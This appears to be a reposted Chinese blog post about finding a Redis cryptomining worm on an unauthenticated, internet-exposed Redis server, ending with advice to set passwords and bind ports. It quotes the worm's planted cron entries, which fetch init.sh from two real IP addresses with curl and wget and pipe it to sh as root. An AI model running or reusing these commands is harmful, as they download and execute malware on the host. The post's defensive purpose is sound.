事实证明,互联网会惩罚每一个裸奔的人之 Redis 扩散病毒

2023-10-04 22:00:00
pjd
原创 248
摘要:redis病毒

前段时间换了台电脑,一大堆开发环境我实在是懒得在本地搞了,每次启动来启动去太麻烦了,索性直接在服务器上开 Docker 部署,docker pull 复制粘贴什么 Redis、什么 MySQL 分分钟装好,要用的时候直接远程连接就行了,简直不要太方便。

也不是什么业务场景让我发现了这么一个病毒,因为大部分 Redis Key 都是设置了过期时间的,开发过程也没感觉到什么问题,纯粹是有一天我闲着没事干,进入 Redis 命令行 keys * 看看,不看不要紧,一看好家伙,多出了几个 key,大概就是下面这样子:

uid:1 uid:2 uid:3 backup1 backup2 backup3 backup4

多出了 4 个 backup 前缀的 key,我第一反应这肯定是什么备份文件

正常情况下我根本不会在意,纯粹就是那天确实比较闲,不如来学习下 Redis 吧(哈哈),于是,禀着好学的基本素养,我分别查看了下这里面的 value 是什么:

*/2****rootcd1-fsSLhttp://194.87.139.103:8080/cleanfda/init.sh|sh */3****rootwget-q-O-http://194.87.139.103:8080/cleanfda/init.sh|sh */4****rootcurl-fsSLhttp://45.83.123.29/cleanfda/init.sh|sh */5****rootwd1-q-O-http://45.83.123.29/cleanfda/init.sh|sh

wget 是用来下载东西的,curl 是用于执行 HTTP 请求,点开  45.83.123.29/cleanfda/i  看看到底是什么脚本文件:

又是改权限,又是关防火墙删文件的,用屁股想都知道这 IP 肯定是国外的了:

查了下发现这是一种 Redis 扩散病毒,专门利用 Redis 未授权访问漏洞的挖矿病毒。没错,就是 Redis 没设置密码,没授权,让病毒有了可乘之机。如果服务暴露在互联网上就一定要设置密码,不要裸奔 ,很多同学大部分时间都是在本地开发,没有设置密码的习惯或者只是简单的设置成 root 这种

另外,除了设置密码,服务器开放端口的时候最好也指定下 IP,不然默认的 0.0.0.0:6379 任何 IP 都可以访问。


转自:知乎(https://zhuanlan.zhihu.com/p/632313850)